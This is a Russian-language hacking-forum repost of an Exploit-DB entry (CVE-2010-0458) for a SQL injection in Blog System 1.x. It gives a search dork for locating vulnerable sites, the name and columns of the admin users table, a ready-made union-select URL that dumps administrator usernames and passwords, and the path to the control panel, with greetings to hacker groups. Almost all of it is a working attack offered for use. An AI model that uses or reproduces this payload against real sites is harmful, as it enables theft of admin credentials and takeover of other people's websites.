Exploit Blog System 1.x - 'note' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
11216
Проверка EDB
  1. Пройдено
Автор
H4CK3R
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2010-0458
Дата публикации
2010-01-21
Код:
[#] Script : Blog System
[#] Version : 1.x
[#] Link : http://netartmedia.net/blogsystem/

[#] Dork : "powered by Blog System"
[#] Table : websiteadmin_admin_users
[#] Columns : id,username,password,type

[#] Exploit : /blog.php?user=[real-user]&note=-1549+union+all+select+1,2,3,concat_ws(0x3a,id,username,password,type),5,6,7,8,9+from+websiteadmin_admin_users--

[#] CP : /BO

[#] Regards : ('Dr.2' , 'd3hydr8' , 'jonathan59' , 'inkubus' , 'Tundergun' , 'VMw4r3' , 'TinKode' , 'darkc0de's members')

[#] Note : replace [real-user] with a user exists in the blog ,, otherwise it will not work.
 
Источник
www.exploit-db.com

Похожие темы